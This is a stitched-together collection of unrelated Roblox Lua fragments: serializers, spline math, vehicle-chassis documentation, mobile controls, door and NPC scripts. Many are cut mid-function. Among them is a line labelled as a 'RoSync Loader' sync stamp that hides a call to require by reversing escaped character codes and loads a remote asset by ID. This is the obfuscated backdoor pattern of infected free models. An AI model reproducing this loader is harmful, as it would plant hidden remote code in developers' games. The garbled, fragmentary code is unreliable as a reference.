handler:FireServer("Smoke",true,BlowupTemp,Heat) else handler:FireServer("Smoke",false,BlowupTemp,Heat) end script.Celsius.Value = Heat script.Parent.Temp.Text = math.floor(Heat).."°c" handler:FireServer("Gauge",script.Celsius.Value,intmp) end end
-- ROBLOX NOTE: no upstream -- this plugin serializes Roblox Instance objects -- https://developer.roblox.com/en-us/api-reference/class/Instance
local CurrentModule = script.Parent.Parent local Packages = CurrentModule.Parent local JestGetType = require(Packages.JestGetType) local getType = JestGetType.getType local LuauPolyfill = require(Packages.LuauPolyfill) local instanceof = LuauPolyfill.instanceof local RobloxInstance = require(Packages.RobloxShared).RobloxInstance local getRobloxProperties = RobloxInstance.getRobloxProperties local InstanceSubset = RobloxInstance.InstanceSubset local printTableEntries = require(CurrentModule.Collections).printTableEntries local Types = require(CurrentModule.Types) type Config = Types.Config type Refs = Types.Refs type Printer = Types.Printer local function printInstance( val: any, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer ): string local result = "" local children = val:GetChildren() table.sort(children, function(a, b) return a.Name < b.Name end) local props = getRobloxProperties(val.ClassName) if #props > 0 or #children > 0 then result = result .. config.spacingOuter local indentationNext = indentation .. config.indent -- print properties of Instance for i, v in ipairs(props) do local name = printer(v, config, indentationNext, depth, refs) local value = val[v] -- collapses output for Instance values to avoid loops if getType(value) == "Instance" then value = printer(value, config, indentationNext, math.huge, refs) else value = printer(value, config, indentationNext, depth, refs) end result = string.format("%s%s%s: %s", result, indentationNext, name, value) if i < #props or #children > 0 then result = result .. "," .. config.spacingInner elseif not config.min then result = result .. "," end end -- recursively print children of Instance for i, v in ipairs(children) do local name = printer(v.Name, config, indentationNext, depth, refs) local value = printer(v, config, indentationNext, depth, refs) result = string.format("%s%s%s: %s", result, indentationNext, name, value) if i < #children then result = result .. "," .. config.spacingInner elseif not config.min then result = result .. "," end end result = result .. config.spacingOuter .. indentation end return result end local function serialize( val: any, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer ): string depth = depth + 1 if depth >= config.maxDepth then return string.format('"%s" [%s]', val.Name, val.ClassName) end if instanceof(val, InstanceSubset) then return val.ClassName .. " {" .. printTableEntries(val.subset, config, indentation, depth, refs, printer) .. "}" end return val.ClassName .. " {" .. printInstance(val, config, indentation, depth, refs, printer) .. "}" end local function test(val: any): boolean return getType(val) == "Instance" or instanceof(val, InstanceSubset) end return { serialize = serialize, test = test, }
--This script removes any extra hats or tools.
workspace.ChildAdded:connect(function(item) if item:IsA("Hat") or item:IsA("Tool") then wait(10) if item.Parent == workspace then item:Destroy() end end end)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.KittySword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- Private Functions
local function arcLengthIntegrand(self, spline, t) local a, b, c, d = unpack(self.Coefficients) local dv = b[spline] + 2*c[spline]*t + 3*d[spline]*t*t return dv.Magnitude end local function integrate(self, spline, t) local h = t / SIMPSON_N local xi0, xi1, xi2 = arcLengthIntegrand(self, spline, t), 0, 0 for i = 0, SIMPSON_N - 1 do local x = i*h if (i % 2 == 0) then xi2 = xi2 + arcLengthIntegrand(self, spline, x) else xi1 = xi1 + arcLengthIntegrand(self, spline, x) end end return h * (xi0 + 2*xi2 + 4*xi1) / 3 end local function clampedCubicSpline(p, fpo, fpn) local n = #p local a, b, c, d = {unpack(p)}, {}, {}, {} local aa = {} aa[1] = 3*(a[2] - a[1]) - 3*fpo aa[n] = 3*fpn - 3*(a[n] - a[n-1]) for i = 2, n - 1 do aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1]) end local l, mu, z = {2}, {0.5}, {aa[1]/2} for i = 2, n - 1 do l[i] = 4 - mu[i-1] mu[i] = 1 / l[i] z[i] = (aa[i] - z[i-1]) / l[i] end l[n] = 2 - mu[n-1] z[n] = (aa[n] - z[n-1]) / l[n] c[n] = z[n] for j = n - 1, 1, -1 do c[j] = z[j] - mu[j]*c[j+1] d[j] = (c[j+1] - c[j]) / 3 b[j] = p[j+1] - p[j] - c[j] - d[j] end return a, b, c, d end local function naturalCubicSpline(p) local n = #p local a, b, c, d = {unpack(p)}, {}, {}, {} local aa = {} for i = 2, n - 1 do aa[i] = 3 * (a[i+1] - 2*a[i] + a[i-1]) end local start = Vector3.new(0, 10, 0) local l, mu, z = {1}, {0}, {ZERO} l[n], z[n], c[n] = 1, ZERO, ZERO for i = 2, n - 1 do l[i] = 4 - mu[i-1] mu[i] = 1 / l[i] z[i] = (aa[i] - z[i-1]) / l[i] end for j = n - 1, 1, -1 do c[j] = z[j] - mu[j]*c[j+1] d[j] = (c[j+1] - c[j]) / 3 b[j] = p[j+1] - p[j] - c[j] - d[j] end return a, b, c, d end
----- Controller Table -----
local ReplicaController = { NewReplicaSignal = Madwork.NewScriptSignal(), -- (Replica) InitialDataReceivedSignal = Madwork.NewScriptSignal(), -- () InitialDataReceived = false, _replicas = { --[[ [replica_id] = { Data = {}, -- [table] Replicated Replica data table Id = 1, -- [integer] Replica id Class = "", -- [string] Primary Replica identifier Tags = {UserId = 2312310}, -- [table] Secondary Replica identifiers Parent = Replica, -- [Replica / nil] -- Child replicas inherit replication settings Children = {}, -- [table] {replica, ...} _write_lib = {[func_id] = function, ...} / nil, -- [table] List of wrapped write functions _write_lib_dictionary = {["function_name"] = func_id, ...} / nil, -- [table] Dictionary of function names and their id's _table_listeners = {[1] = {}} -- [table] Listeners of specific value changes in replica data _function_listeners = {[func_id] = {listener, ...}, ...} -- [table] Listeners of write function calls _raw_listeners = {listener, ...}, _signal_listeners = {}, _maid = maid, } --]] }, _class_listeners = {}, -- {["replica_class"] = script_signal, ...} _child_listeners = {}, -- {[replica_id] = {listener, ...}, ...} }
----------------------------------------------------------------------------------------------------------------
local SmoothDamp = {} SmoothDamp.__index = SmoothDamp function SmoothDamp.new() return setmetatable({ MaxSpeed = math.huge; _update = tick(); _velocity = Vector3_new(); }, SmoothDamp) end function SmoothDamp:Update(current, target, smoothTime) local currentVelocity = self._velocity local now = tick() local deltaTime = (now - self._update) smoothTime = math_max(0.0001, smoothTime) local num = (2 / smoothTime) local num2 = (num * deltaTime) local d = (1 / (1 + num2 + 0.48 * num2 * num2 + 0.235 * num2 * num2 * num2)) local vector = (current - target) local vector2 = target local maxLength = (self.MaxSpeed * smoothTime) vector = vector.Magnitude > maxLength and (vector.Unit * maxLength) or vector -- Clamp magnitude. target = (current - vector) local vector3 = ((currentVelocity + num * vector) * deltaTime) currentVelocity = ((currentVelocity - num * vector3) * d) local vector4 = (target + (vector + vector3) * d) if ((vector2 - current):Dot(vector4 - vector2) > 0) then vector4 = vector2 currentVelocity = ((vector4 - vector2) / deltaTime) end self._velocity = currentVelocity self._update = now return vector4 end function SmoothDamp:UpdateAngle(current, target, smoothTime) return self:Update(current, (current + DeltaAngleV3(current, target)), smoothTime) end return SmoothDamp
--!strict -- polyfill for https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof
--[[ <<DO NOT DELETE THIS MODULE>> ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ Build 6.52S2 SecondLogic @ Inspare >>Manual Basically...everything you can and would ever want to touch is in the tuning module. EVERYTHING Torque Curve Tune Visualizer: https://www.desmos.com/calculator/2uo3hqwdhf Basic Tips: --Installation >Everything is built-in (assembly, welding, suspension, gyros), so all you have to worry about is placing the wheels and the seat. >Body parts go in the "Body" section. >Wheel parts such as 3D rims and brake disks go in the "Parts" section of the wheel. >Suspension-Anchored parts such as suspension wishbones and linkages go in the "SuspensionFixed" section. >Axle-Anchored parts such as calipers go in the "WheelFixed" section. >You can add or remove wheels. To add a wheel, simply copy one of the wheels and make sure it's named one of the following: "F","FL","FR","R","RL","RR". >Wheels need to be aligned with the axes of the seat. Don't rotate the seat relative to the wheels as it may cause welding problems. >All wheel offsets are applied in the tuning module. Do NOT manually add offset to the wheels. Steering axis is centered on the wheel part by default. >Seat offset can be adjusted in the "MiscWeld" module under "Initialize". >Use the "Misc" section for scripted/moving parts and apply welding using the "MiscWeld" module under "Initialize". --Tuning >Reduce weight(density) if setup is lacking torque. Increase density if setup has too much torque. >Add downforce manually if setup is lacking grip or use a downforce plugin. >Dialing in ratios used in real cars is an easy way to have a realisticly tuned transmission. >Modifying the "Drive" script may affect the integrity of the system. >Custom scripts should be put in the "Plugins" folder. Using plugins made by other users is encouraged. >When writing custom plugins, you can reference the values within the "Values" folder inside the A-Chassis Interface. >It is a good practice to make plugins compatible with any setup and providing a usage manual if a plugin is released. >You can remove/change the default plugins that come with the kit. The drive system will still work perfectly with or without them. --Updates >To update, simply just replace the entire "A-Chassis Tune" module of an existing car with a newer version of the module. >You may want to copy the tune values and plugins from the old module, but dont simply overwrite the tune module as new values may be added. >>Changelog [6/10/17 : Build 6.52S2] - Fixed Initialization Orientation [Fixed Initialization Rotation] -Fixed initialization rotation glitch [6/8/17 : Build 6.51S2] - More Suspension Tuning [Re-Added Suspension Values] -New suspension tuning is now the same as the previous suspension -AntiRoll and PreCompress are now added to suspension tuning [Fixes] -Fixed Rev-Boucing: Car does not stall anymore when rev-bouncing -Fixed Stock Gauges not showing the the right transmission mode / pbrake mode [6/8/17 : Build 6.5S2] - Full Suspension Change and Optimization [New Suspension System] -Suspension Linkages are now made using axles instead of constraints -Better overall stability and ease of tuning -SpringConstraint Tuning has been changed in the tune to more meaningful values -Added AntiRoll system using gyro dampening on the suspension linkages -AxleSize affects the size of suspension linkage parts [Major Performance Optimizations] -Torque output calculations are now cached (pre-calculated and stored) to reduce runtime cpu load -Constant multipliers for several lines have been simplified and cached -Split Engine function into RPM calculation and Power Output -Split runtime loops into different cycle rates -RPM calculation, Steering, and External Value updating now run on 60 FPS max (from 30) for smoother steering and RPM tracking. -Engine Output and Flip now run on 15 FPS max (from 30) to reduce runtime cpu load -Overall percieved smoothness is now TWICE AS MUCH but runtime cpu load has actually been HALVED!!! [5/23/17 : Build 6.43S] - STUFF [Added Tune Values] -Added WBVisible to set weight brick visibility [Independent Camera Handling] -Separated camera handling from Drive script -Mouse camera is now handled by a plugin -Custom camera plugin support is now easier [Stock Plugins Update] -Added Dynamic Friction as a stock plugin -Dynamic friction can be tuned within the Simulated script -Updated default sound plugin -Added mouse-steer camera plugin [Code Fixes] -Fixed missing operation within torque curve -Slight optimizations during runtime [5/20/17 : Build 6.42S] - ABS and PGS Standardization [Added ABS] -Modulates brakes when locking -Added threshold value for slip allowance -Added control toggles for ABS -Added ABS indicator and control mapping to stock UI [Split Density Tuning for PGS and Legacy] -Added standardized weight scaling values to tune -Default weight tuning set to 1 cubic stud : 50 lbs for PGS -Default weight tuning set to 1 cubic stud : 10 lbs for Legacy -Split front and rear density to PGS and Legacy -Split brake force tuning to PGS and Legacy [Added Tune Values] -TCSEnabled: Sets whether or not the car will have TCS -ABSEnabled: Sets whether or not the car will have ABS -LoadDelay: Sets a delay time before initializing car [Bug Fix: Axle Size Initialization] -Car applies proper axle size -Added AxleDensity value which sets axle density -Fixed miscelaneous wheel part welding [Added Changable Stock Gauge Units] -Added units system for stock gauges -Added default units: MPH [1 stud : 10 in], KP/H [1 stud : 10 in], SPS -Custom units can be added or removed -Click on speed to change between units -Moved Controls button to middle for better visibility [Code Documentation] -Extensive documentation and commenting within scripts for better readability -Improved warning message for oversized mass condition [5/4/17 : Build 6.41S] - Standardized Weight [Added automatic weight system] -Added tune values for car weight, center of gravity, and wheel density -Weight standard: 100 lbs = 1 cubic stud mass -Applies weight at initialization [Scaled Down Power Delivery] -Horsepower output now at 1/10 because of lighter weight standard -Added FDMult value in transmission for gear ratio scaling without having to change Final Drive (useful for low HP tunes) [Optimized value for Anchor Offset] -Changed "SusOffset" to "Anchor Offset" -New anchor offset is now based off of wishbone length and wishbone angle. -Anchor offset now labelled for forward, lateral, and vertical offsets. [Split some tune values to F/R] -Suspension values for front and rear are now independently tunable. -Front and rear brakes can be tuned independently. [Tune Module Housekeeping] -Rearranged and documented several of the values within the tune module. -Removed GyroP and GyroMaxTorque for simplicity. Dampening values are still present. -Changed some decimal values to percent values [1/2/17 : Build 6.40S] - Suspension "S" Build number identifies suspension build [Added suspension system for PGS Physics Solver] -Suspension uses ROBLOX constraints and is automatically generated with the chassis -Added tune values for suspension -Temporarily removed caster tuning [Steering Fix] -Added tune value 'ReturnSpeed' which determines how fast wheels return to default orientation [New Torque Curve Equation] -New equation gives more control over the shape of the torque curve -Engine values have been replaced with the new equation's variables -Added link to desmos graph for the torque curve visualization [10/31/16 : Build 6.33] - Semi-Automatic [Added semi-automatic transmission mode] -'TransModes' now accepts "Semi" value for semi-automatic. -Updated AC6_Stock_Gauges to include semi-automatic mode. [Fixed disengaging p-brake] -P-Brake now remains engaged if player gets into then vehicle. [Fixed FE Support for AC6_Stock_Sound] -Sounds should now work properly with Filtering Enabled. [8/5/16 : Build 6.32] - Differential System [Implemented differential system] -Differential controls torque distibution between wheels that are spinning at different rates -Added tune values 'FDiffSlipThres', 'FDiffLockThres', 'RDiffSlipThres', 'RDiffLockThres', 'CDiffSlipThres', and 'CDiffLockThres'. -'DiffSlipThres' determine the threshold of the speed difference between the wheels. Full lock applies at max threshold. -A lower slip threshold value will make the diff more aggressive. -'DiffLockThres' determines the bias of the differential. -A lock threshold value more than 50 puts more torque into the slipping wheel (moving towards an open diff). -A lock threshold value less than 50 puts more torque into the grounded wheel (moving towards a locked diff). [Fixed multiple wheel support] -The chassis can now use more than just the default 4 set of wheels. Just copy an existing wheel and place accordingly. -Differential works with auxiliary wheels. [7/13/16 : Build 6.31] - Peripheral Settings [Added peripheral adjustment values] -Moved controller and mouse deadzone values to the "Controls" section of the tune. -Split controller deadzone into left and right input. -Moved mouse control width to "Conrols" secton. This value now operates based off of % of screed width. [Updated stock Controls Module] -Added sliders for controller and mouse deadzone values. -Added slider for mouse control width. [6/15/16 : Build 6.3] - Motercisly [Better motorcycle system support] -Added wheel configurations "F" and "R" for single wheel settup. -"F" and "R" wheels will have axle parts on both sides for better balance. -These wheel configurations will ignore outor rotation value and will rotated based off of the inner rotation value only. -Camber and Toe cannot be applied to these wheel configurations. Caster will still be applied as normal. [Bug fixes] -Caster now applies after wheel part rotations so wheel parts dont rotate with caster. -Fixed Clutch re-engaging automatically when shifting out of neutral. [6/4/16 : Build 6.21] - AC6 Official Public Kit Release [Plugin FilteringEnabled compatability made easier] -System now detects if there is a RemoteEvent or RemoteFunction inside a plugin. These will be parented directly under the car. -The RemoteEvent/RemoteFunction needs to be a direct child of the plugin for it to be detected. -Scripts inside the RemoteEvent/RemoteFunction should be disabled. They will be enabled after initialization. -Be careful as this system is suceptible to name collisions. Name your RemoteEvents/RemoteFunctions uniquely. -Stock AC6 Sound plugin is now FE compatible. [Controls Panel now a plugin instead of integrated] -Separated controls panel from Drive script. The controls panel is now a plugin. -The "Controls" folder appears inside the interface on Drive startup. Use this folder to reference button mapping values for custom controls plugins. -"ControlsOpen" value added. This is a safety toggle when changing control values. This value can be manipulated by plugins. [New tune values] -Added 'AutoFlip' tune value. This determines if the car automatically flips itself over when upside down. -Added 'StAxisOffset' tune value. This offsets the center of the steering axis. Positive value = offset outward. -Added 'SteerD', 'SteerMaxTorque', and 'SteerP' values which set the steering axle gyro properties. [MiscWeld streamlining] -Added "Misc" section to the main sections. This should contain scripted/moving parts. -Parts in this section are NOT WELDED AUTOMATICALLY. Use the "MiscWeld" module to weld these parts. The "Misc" section is pre-referenced as 'misc'. [Bug fixes] -Fixed flip gyro not resetting when gyro is active and driver leaves car. -Fixed issue with switching transmission modes. --]]
return "6.52S2"
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local TouchJump = setmetatable({}, BaseCharacterController) TouchJump.__index = TouchJump function TouchJump.new() local self = setmetatable(BaseCharacterController.new(), TouchJump) self.parentUIFrame = nil self.jumpButton = nil self.characterAddedConn = nil self.humanoidStateEnabledChangedConn = nil self.humanoidJumpPowerConn = nil self.humanoidParentConn = nil self.externallyEnabled = false self.jumpPower = 0 self.jumpStateEnabled = true self.isJumping = false self.humanoid = nil -- saved reference because property change connections are made using it return self end function TouchJump:EnableButton(enable) if enable then if not self.jumpButton then self:Create() end local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if humanoid and self.externallyEnabled then if self.externallyEnabled then if humanoid.JumpPower > 0 then self.jumpButton.Visible = true end end end else self.jumpButton.Visible = false self.isJumping = false self.jumpButton.ImageRectOffset = Vector2.new(1, 146) end end function TouchJump:UpdateEnabled() if self.jumpPower > 0 and self.jumpStateEnabled then self:EnableButton(true) else self:EnableButton(false) end end function TouchJump:HumanoidChanged(prop) local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if humanoid then if prop == "JumpPower" then self.jumpPower = humanoid.JumpPower self:UpdateEnabled() elseif prop == "Parent" then if not humanoid.Parent then self.humanoidChangeConn:Disconnect() end end end end function TouchJump:HumanoidStateEnabledChanged(state, isEnabled) if state == Enum.HumanoidStateType.Jumping then self.jumpStateEnabled = isEnabled self:UpdateEnabled() end end function TouchJump:CharacterAdded(char) if self.humanoidChangeConn then self.humanoidChangeConn:Disconnect() self.humanoidChangeConn = nil end self.humanoid = char:FindFirstChildOfClass("Humanoid") while not self.humanoid do char.ChildAdded:wait() self.humanoid = char:FindFirstChildOfClass("Humanoid") end self.humanoidJumpPowerConn = self.humanoid:GetPropertyChangedSignal("JumpPower"):Connect(function() self.jumpPower = self.humanoid.JumpPower self:UpdateEnabled() end) self.humanoidParentConn = self.humanoid:GetPropertyChangedSignal("Parent"):Connect(function() if not self.humanoid.Parent then self.humanoidJumpPowerConn:Disconnect() self.humanoidJumpPowerConn = nil self.humanoidParentConn:Disconnect() self.humanoidParentConn = nil end end) self.humanoidStateEnabledChangedConn = self.humanoid.StateEnabledChanged:Connect(function(state, enabled) self:HumanoidStateEnabledChanged(state, enabled) end) self.jumpPower = self.humanoid.JumpPower self.jumpStateEnabled = self.humanoid:GetStateEnabled(Enum.HumanoidStateType.Jumping) self:UpdateEnabled() end function TouchJump:SetupCharacterAddedFunction() self.characterAddedConn = Players.LocalPlayer.CharacterAdded:Connect(function(char) self:CharacterAdded(char) end) if Players.LocalPlayer.Character then self:CharacterAdded(Players.LocalPlayer.Character) end end function TouchJump:Enable(enable, parentFrame) self.parentUIFrame = parentFrame self.externallyEnabled = enable self:EnableButton(enable) end function TouchJump:Create() if not self.parentUIFrame then return end if self.jumpButton then self.jumpButton:Destroy() self.jumpButton = nil end local minAxis = math.min(self.parentUIFrame.AbsoluteSize.x, self.parentUIFrame.AbsoluteSize.y) local isSmallScreen = minAxis <= 500 local jumpButtonSize = isSmallScreen and 70 or 120 self.jumpButton = Instance.new("ImageButton") self.jumpButton.Name = "JumpButton" self.jumpButton.Visible = false self.jumpButton.BackgroundTransparency = 1 self.jumpButton.Image = TOUCH_CONTROL_SHEET self.jumpButton.ImageRectOffset = Vector2.new(1, 146) self.jumpButton.ImageRectSize = Vector2.new(144, 144) self.jumpButton.Size = UDim2.new(0, jumpButtonSize, 0, jumpButtonSize) self.jumpButton.Position = isSmallScreen and UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize - 20) or UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize * 1.75) local touchObject = nil self.jumpButton.InputBegan:connect(function(inputObject) --A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event --if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin) if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then return end touchObject = inputObject self.jumpButton.ImageRectOffset = Vector2.new(146, 146) self.isJumping = true end) local OnInputEnded = function() touchObject = nil self.isJumping = false self.jumpButton.ImageRectOffset = Vector2.new(1, 146) end self.jumpButton.InputEnded:connect(function(inputObject) if inputObject == touchObject then OnInputEnded() end end) GuiService.MenuOpened:connect(function() if touchObject then OnInputEnded() end end) if not self.characterAddedConn then self:SetupCharacterAddedFunction() end self.jumpButton.Parent = self.parentUIFrame end return TouchJump
--SeregaTopYTReal2 --Put the "died" sound to npc's head
local NPC = script.Parent local Head = NPC.Torso local Humanoid for i,v in pairs(NPC:GetChildren()) do if v:IsA('Humanoid') then Humanoid = v end end if Humanoid then Humanoid.Died:Connect(function() wait(0.0001) Head:FindFirstChild("dead"):Play() end) else warn('Cannot find Humanoid in DeathSound Script!') end
--//Variables\\--
Spawner=script.Parent.Parent:FindFirstChildOfClass("Part") script.Parent=game.ServerScriptService Zombie.Parent=game.ServerStorage
--[[ Last synced 1/23/2021 02:42 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
------------------------------------------------------------------------ --Actual script starts here. I don't reccomend modifying anything past this point.
local UserInputService = game:GetService('UserInputService') local IsMobile = UserInputService.TouchEnabled --Is true if on mobile. if IsMobile then --Only does things if it's on mobile. local PlayerGui = game.Players.LocalPlayer:WaitForChild"PlayerGui" local PlayerScripts = game.Players.LocalPlayer:WaitForChild"PlayerScripts" local SHIFT_LOCK_OFF = 'rbxasset://textures/ui/mouseLock_off.png' local SHIFT_LOCK_ON = 'rbxasset://textures/ui/mouseLock_on.png' local SHIFT_LOCK_CURSOR = 'rbxasset://textures/MouseLockedCursor.png' --This essentially does what the scripts do for non-mobile players. --It is important to do it or else shift lock wouldn't work on mobile. local CM = PlayerScripts:WaitForChild"PlayerModule".CameraModule local CameraModule = require(CM).new() local MLC = require(CM.MouseLockController) CameraModule.activeMouseLockController = MLC.new() local toggleEvent = CameraModule.activeMouseLockController:GetBindableToggleEvent() if toggleEvent then toggleEvent:Connect(function() CameraModule:OnMouseLockToggled() end) end --Create the gui. local MouseLockController = CameraModule.activeMouseLockController local frame = Instance.new('Frame') frame.Name = "BottomLeftControl" frame.Size = UDim2.new(.1, 0, .1, 0) frame.Position = UDim2.new(1, 0, 1, 0) frame.AnchorPoint = Vector2.new(1,1) frame.BackgroundTransparency = 1 frame.ZIndex = 10 frame.Parent = script.Parent local ShiftLockIcon = Instance.new('ImageButton') ShiftLockIcon.Name = "MouseLockLabel" ShiftLockIcon.Size = UDim2.new(1, 0, 1, 0) ShiftLockIcon.Position = UDim2.new(0, 0, 0, 0) ShiftLockIcon.BackgroundTransparency = 1 ShiftLockIcon.Image = SHIFT_LOCK_OFF ShiftLockIcon.Visible = true ShiftLockIcon.Parent = frame local frame2 = Instance.new('Frame') frame2.Name = "MiddleIcon" frame2.Size = UDim2.new(.1, 0, .1, 0) frame2.Position = UDim2.new(.5, 0, .5, 0) frame2.AnchorPoint = Vector2.new(.5,.5) frame2.BackgroundTransparency = 1 frame2.ZIndex = 10 frame2.Visible = false frame2.Parent = script.Parent local MouseLockCursor = Instance.new('ImageButton') MouseLockCursor.Name = "MouseLockLabel" MouseLockCursor.Size = UDim2.new(1, 0, 1, 0) MouseLockCursor.Position = UDim2.new(0, 0, 0, 0) MouseLockCursor.BackgroundTransparency = 1 MouseLockCursor.Image = SHIFT_LOCK_CURSOR MouseLockCursor.Visible = true MouseLockCursor.Parent = frame2 local arc = Instance.new("UIAspectRatioConstraint") arc.AspectRatio = 1 arc.DominantAxis = "Height" arc.Parent = frame arc:Clone().Parent = frame2 --This event fires when shift lock is activated. --It just changes the icon. toggleEvent:Connect(function() local IsLocked = CameraModule.activeMouseLockController:IsMouseLocked() ShiftLockIcon.Image = IsLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF if SHOW_CENTER_CURSOR then frame2.Visible = IsLocked end end) --When the icon is pressed, get the camera module to toggle shift lock. ShiftLockIcon.Activated:connect(function() MouseLockController:DoMouseLockSwitch(0, Enum.UserInputState.Begin) end) end
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(106) game.Workspace.doorright.l21.BrickColor = BrickColor.new(106) game.Workspace.doorright.l31.BrickColor = BrickColor.new(106) game.Workspace.doorright.l41.BrickColor = BrickColor.new(106) game.Workspace.doorright.l51.BrickColor = BrickColor.new(106) game.Workspace.doorright.l61.BrickColor = BrickColor.new(106) game.Workspace.doorright.l71.BrickColor = BrickColor.new(1003) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--BotHit
Door.Touched:Connect(function(hit) if hit.Parent:FindFirstChild("Humanoid") and hit.Parent:FindFirstChild("Bot") then if Ready == true then if Open == false then Ready = false Unlock:Play() hit.Parent.HumanoidRootPart.Anchored = true wait(1) hit.Parent.HumanoidRootPart.Anchored = false Open = true Handle.TargetAngle = 90 OpenSound:Play() OpenTween:Play() wait(.5) Ready = true end end end end)
--[=[ Observes an attribute on an instance. @return Observable<any> ]=]
function AttributeValue:Observe() return RxAttributeUtils.observeAttribute(self._object, self._attributeName, rawget(self, "_defaultValue")) end
-- mark for precompiled code ('<esc>Lua') (from lua.h)
luaU.LUA_SIGNATURE = "\27Lua"
-- Initialization
local Time = Instance.new('IntValue', game.Workspace:WaitForChild('MapPurgeProof')) Time.Name = 'Time'
--[[ Returns the UpVector used for each face to determine Camera rotation when doing CFrame calculation. ]]
function CameraModule:_getUpVectorByFace(cframe, face) local upVectorsByFace = { [Enum.NormalId.Front] = cframe.UpVector, [Enum.NormalId.Back] = cframe.UpVector, [Enum.NormalId.Right] = cframe.UpVector, [Enum.NormalId.Left] = cframe.UpVector, [Enum.NormalId.Top] = cframe.RightVector, [Enum.NormalId.Bottom] = cframe.RightVector, } return upVectorsByFace[face] end return CameraModule
---Controller
local Controller=false local UserInputService = game:GetService("UserInputService") local LStickX = 0 local RStickX = 0 local RStickY = 0 local RTriggerValue = 0 local LTriggerValue = 0 local ButtonX = 0 local ButtonY = 0 local ButtonL1 = 0 local ButtonR1 = 0 local ButtonR3 = 0 local DPadUp = 0 function DealWithInput(input,IsRobloxFunction) if Controller then if input.KeyCode ==Enum.KeyCode.ButtonX then if input.UserInputState == Enum.UserInputState.Begin then ButtonX=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonX=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonY then if input.UserInputState == Enum.UserInputState.Begin then ButtonY=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonY=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonL1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonL1=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR1=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR1=0 end elseif input.KeyCode ==Enum.KeyCode.DPadLeft then if input.UserInputState == Enum.UserInputState.Begin then DPadUp=1 elseif input.UserInputState == Enum.UserInputState.End then DPadUp=0 end elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then if input.UserInputState == Enum.UserInputState.Begin then ButtonR3=1 elseif input.UserInputState == Enum.UserInputState.End then ButtonR3=0 end end if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads if input.KeyCode == Enum.KeyCode.Thumbstick1 then LStickX = input.Position.X elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then RStickX = input.Position.X RStickY = input.Position.Y elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder RTriggerValue = input.Position.Z elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder LTriggerValue = input.Position.Z end end end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=70 + car.DriveSeat.Velocity.Magnitude/10 